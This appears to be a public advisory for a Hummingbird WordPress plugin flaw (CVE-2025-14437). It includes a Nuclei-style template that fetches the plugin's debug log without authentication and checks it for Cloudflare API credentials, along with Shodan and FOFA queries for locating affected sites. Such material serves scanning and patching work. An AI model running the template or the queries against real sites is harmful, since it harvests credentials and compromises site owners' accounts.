CVE-2025-14437: WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File

2026-04-09 WordPress Hummingbird PoC Public

Description

Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.

PoC

id: CVE-2025-14437

info:
  name: WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File
  author: pussycat0x
  severity: high
  description: |
    Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.
  remediation: |
    Update to the latest version beyond 3.18.0.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hummingbird-performance/hummingbird-3180-unauthenticated-sensitive-information-exposure-via-log-files
    - https://wpscan.com/vulnerability/cve-2025-14437
    - https://plugins.trac.wordpress.org/changeset/3421187/hummingbird-performance
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-14437
    epss-score: 0.01916
    epss-percentile: 0.78812
    cwe-id: CWE-532
  metadata:
    verified: true
    max-request: 1
    vendor: wpmudev
    product: hummingbird-performance
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/hummingbird-performance"
    fofa-query: body="/wp-content/plugins/hummingbird-performance"
  tags: cve,cve2025,wordpress,wp-plugin,hummingbird,exposure,cloudflare,wpmudev,vkev

http:
  - raw:
      - |
        GET /wp-content/wphb-logs/api-debug.log HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "WPHB", "X-Auth-Key", "X-Auth-Email", "Authorization")'
        condition: and
# digest: 4b0a004830460221008c0efeb7681ee32874fc6a494f57225935a97c2e47857aefba9f8731c5535ce3022100cfe71c57c313e6066f73cc07e9de66d8fc7a1dc5c677329f0ba0acae722d6ad9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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